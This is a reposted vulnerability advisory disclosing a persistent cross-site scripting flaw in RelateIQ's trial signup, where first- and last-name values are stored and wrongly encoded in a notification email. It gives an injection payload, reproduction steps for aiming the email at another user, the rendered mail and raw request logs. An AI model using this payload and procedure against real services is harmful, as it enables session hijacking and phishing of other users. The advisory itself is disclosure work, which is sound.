RelateIQ Bug Bounty Program - Persistent Signup Vulnerability & Mail Encoding Issue

Editorial_Staff_Team's picture

RelateIQ Signup (API) - Persistent Input & Mail Encoding Vulnerability

The vulnerability laboratory research team discovered two days ago an application-side validation vulnerability in the signup service of the realteiq web-application. The issue has been reported to the hackerone team during the bug bounty program. The manufacturer of the product set the date of the issue to won't fix because of not being able to provide a patch time-line. After we was waiting a period of time for a reply we disclosed the issue to the public.

The remote vulnerability is located in the first- and lastname values of the vulnerable relateiq website user profile module. Remote attackers are able to inject own script codes as payload to the first- and lastname value of a users profile. After the unverified registration the service captures internally the emails of the users and send back a notification to test the service after apply to register. The mail arrives at the registration website of the relateiq website with an automatic mailing function.

In the outgoing email of the relateiq service are the stored profile values wrong encoded. The result is a persistent execution of the script code through the website web-application in the ougoing service notify mails like `let`s set up your RelateIQ trial`.In the header of the outgoing mail that arrives next to the introduction word `Hi` of the template the execution takes place. The issue can be exploited locally or by profile mail change to other unauthorized accounts through the RelateIQ site web-application. In all other location the mail body context is secure encoded. During the tests only in the trail notify service is marked as vulnerable. The attack vector of the vulnerability is located on the application-side of the web-server and the request method to inject the malicious script code is POST.

In the application itself is a xss protection and a xsrf token set to prevent manipulations like the mail encoding issue. The mechnism is set to parse malicious client-side and malicious application-side requests already in the frontend of the application. In case of the mail encoding issue the code went through the differnt secure functions without parse and executes at the end because of wrong encoding in another sections module.

The security risk of the persistent mail encoding vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the persistent vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious source or persistent manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Signup (https://www.relateiq.com/sign-up)

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] let`s set up your RelateIQ trial

Proof of Concept

The persistent mail encoding web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
%20"><"<img src="x">%20%20>"<iframe src=a>%20<iframe>

Manual steps:

1. Open your web browser (exp. mozilla firefox)
2. Open the trail registration website of the relateiq https://www.relateiq.com/sign-up
3. Register as user through the trail module service
Note: Inject own script codes as payload in registration for firstname and lastname values
4. Save the settings to register and login a first time
5. After a short period of time a notification mail with the `let's set up your RelateIQ trial` topic arrives
Note: The execution of the injected script code occurs in the arrived mail next to the introduction word `HI`
6. Successful local reproduce of the vulnerability!
7. Now, go to the user profile of the account and change the email of the profile by add
8. Change the email of the local profile to a remote mail as target and save the settings
9. The manipulated context runs through the relateIQ website web-application and executes in the postbox of the new saved mail
10. Successful reproduce of the remote vulnerability!

PoC: Let's set up your RelateIQ trial - Mail Notification through WebServer

<html><head>
<title>"><"<img,
let's set up your RelateIQ trial</title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table class="header-part1" border="0" width="100%" cellpadding="0" cellspacing="0"><tbody><tr><td><b>Betreff: </b>"><"<img,
let's set up your RelateIQ trial</td></tr><tr><td><b>Von: </b>Nakul Narayan <nakul@relateiq.com></td></tr><tr><td><b>Datum: </b>
08.09.2014 17:00</td></tr></tbody></table><table class="header-part2" border="0" width="100%" cellpadding="0" cellspacing="0">
<tbody><tr><td><b>An: </b>
admin@vulnerability-lab.com</td></tr></tbody></table><br>

<title>Your Email Title</title>
<div style="font:14px tahoma; width:100%; " class="mktEditable" id="edit_text"><div class="mktEditable" id="column_text">
<p><span id="docs-internal-guid-ac061c64-104e-912d-076d-44ae7e4a003f"> </span></p>
<p dir="ltr"><span> </span></p>

<p dir="ltr">Hi "><"<[PERSISTENT INJECTED SCRIPT CODE VIA FIRST-&LASTNAME VALUES]>%20<iframe>,</p>
<p dir="ltr"><span>I hope things are going well now that you're a few days into your RelateIQ trial.  I’m a resource to make
sure you make the most of your next 27 days.  Do you have any questions regarding the platform or are you already smooth sailing?</span></p>
<p><span>Let me know how I can add value.</span></p>
<p><span>Best,</span></p>
<p><span>Nakul Narayan<br />650-666-0769| nakul@relateiq.com<br /></span></p></div>
</div>
<IMG SRC="http://go.relateiq.com/trk?t=1&mid=ODAwLU1XVS0zNzQ6NDY3NDoxNjUxOjM5Mjc6M...
WIDTH="1" HEIGHT="1" BORDER="0" ALT="" /><p><font face="Verdana" size="1">This email was sent to admin@vulnerability-lab.com. If you no longer wish
to receive these emails you may <a href="http://go.relateiq.com/u/s02Z0g00pWdQ0M071O30m0U">unsubscribe</a> at any time. </font> </p>
</body></html></body>
</html>
</iframe></p></div></div></body></html>

--- PoC Session Logs [POST] (Registration) ---
Status: 302[Found]
POST
https://info.relateiq.com/index.php/leadCapture/save

Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[106] Mime Type[text/html]
   Request Header:
      Host[info.relateiq.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[
https://www.relateiq.com/sign-up]
      Cookie[_ga=GA1.2.898430886.1410189135; optimizelySegments=%7B%22827991865%22%3A%22false%22%2C%22828702118%22%3A%22referral%22%2C%22828011871%22%3A%22ff%22%7D; optimizelyEndUserId=oeu1410189136698r0.49006511741519143; optimizelyBuckets=%7B%7D; brto=20a220aed5055d302ef04c1e4fe50741; _mkto_trk=id:800-MWU-374&token:_mch-relateiq.com-1410189136773-61452; __utma=68623378.898430886.1410189135.1410189362.1410193367.3; __utmc=68623378; __utmz=68623378.1410193367.3.3.utmcsr=hackerone.com|utmccn=(referral)|utmcmd=referral|utmcct=/relateiq; BIGipServersj04web-ssl5_https=1393164298.47873.0000; __utmb=68623378.26.10.1410193367; _dc_gtm_UA-25227107-2=1; mp_cbf11c45fd9c51dfa90fe77aa4861a68_mixpanel=%7B%22distinct_id%22%3A%20%2214855d6d18d11b-0bf8f6ccbc2c52-41534336-1fa400-14855d6d18e92%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.relateiq.com%2Faccount%22%2C%22%24initial_referring_domain%22%3A%20%...
      Connection[keep-alive]
 
  POST-Daten:
      FirstName[%22%22img+src%3D%22x%22%2520%2520%22iframe+src%3Da%2520iframe]
      LastName[%22%22img+src%3D%22x%22%2520%2520%22iframe+src%3Da%2520iframe]

      Email[bkm%40evolution-sec.com]
      Phone[42341412512124]
      _marketo_comments[]
      lpId[-1]
      email_system[Google+Apps]
      LeadSource[RIQ+Website]
      subId[
137]
      munchkinId[800-MWU-374]
      kw[]
      cr[]
      searchstr[]
      lpurl[
https%3A%2F%2Finfo.relateiq.com%2FContactUs_temp.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
      formid[1002]
      returnLPId[-1]

      returnURL[https%3A%2F%2Fwww.relateiq.com%2Faccount]
      retURL[https%3A%2F%2Fwww.relateiq.com%2Faccount]

      _mkt_disp[return]
      _mkt_trk[]
   Response Header:
      Date[Mon, 08 Sep 2014 17:24:35 GMT]
      Server[Apache]
      Location[
https://www.relateiq.com/account]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[106]
      Connection[Keep-Alive]
      Content-Type[text/html]

-
 Status: pending[]
GET https://www.relateiq.com/account

Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[www.relateiq.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://www.relateiq.com/sign-up]
      Cookie[_ga=GA1.2.898430886.1410189135; optimizelySegments=%7B%22827991865%22%3A%22false%22%2C%22828702118%22%3A%22referral%22%2C%22828011871%22%3A%22ff%22%7D;
optimizelyEndUserId=oeu1410189136698r0.49006511741519143; optimizelyBuckets=%7B%7D; brto=20a220aed5055d302ef04c1e4fe50741;
_mkto_trk=id:800-MWU-374&token:_mch-relateiq.com-1410189136773-61452; wcsid=16ommSuyCYswH0Yt9A8Lb5P3JNA2XXWA; hblid=jRftQq9No6oroci19A8Lb5P3JN7yHJNB;
_oklv=1410196980951%2C16ommSuyCYswH0Yt9A8Lb5P3JNA2XXWA; olfsk=olfsk8923002152136381;
_okbk=cd5%3Daway%2Cwa1%3Dtrue%2Ccd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1410189139993%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C;
_ok=7196-992-10-8729; _okac=08e9c038f5b55f07031acd986d16f550; _okla=1; __utma=68623378.898430886.1410189135.1410189362.1410193367.3;
__utmc=68623378; __utmz=68623378.1410193367.3.3.utmcsr=hackerone.com|utmccn=(referral)|utmcmd=referral|utmcct=/relateiq; __utmb=68623378.26.10.1410193367;
_dc_gtm_UA-25227107-2=1; mp_cbf11c45fd9c51dfa90fe77aa4861a68_mixpanel=%7B%22distinct_id%22%3A%20%2214855d6d18d11b-0bf8f6ccbc2c52-41534336-1fa400-
14855d6d18e92%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.relateiq.com%2Faccount%22%2C%22%24
initial_referring_domain%22%3A%20%22www.relateiq.com%22%7D]
-

Status: 200[OK] GET https://app.relateiq.com/#/register - 200
Content-Disposition=attachment
Content-Type=application/json; charset=utf-8
Date=Mon, 08 Sep 2014 17:24:42 GMT
Server=nginx
Strict-Transport-Security=max-age=31536000
X-Frame-Options=SAMEORIGIN, SAMEORIGIN
X-XSS-Protection=1; mode=block
Content-Length=45
Connection=keep-alive

Reference(s): Urls
https://info.relateiq.com/index.php/leadCapture/save
https://www.relateiq.com/sign-up
https://app.relateiq.com/#/register
https://www.relateiq.com/account
http://go.relateiq.com/trk?t=1&mid=ODAwLU1XVS0zNzQ6NDY3NDoxNjUxOjM5Mjc6MDoyMzE2Ojc6MjY2ODM2OmFkbWluQHZ1bG5lcmFiaWxpdHktbGFiLmNvbQ%3D%3D

 

Advisory: http://www.vulnerability-lab.com/get_content.php?id=1320

Video: http://www.vulnerability-lab.com/get_content.php?id=1332

 

Rate this article: 
Average: 5 (4 votes)

Add new comment

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.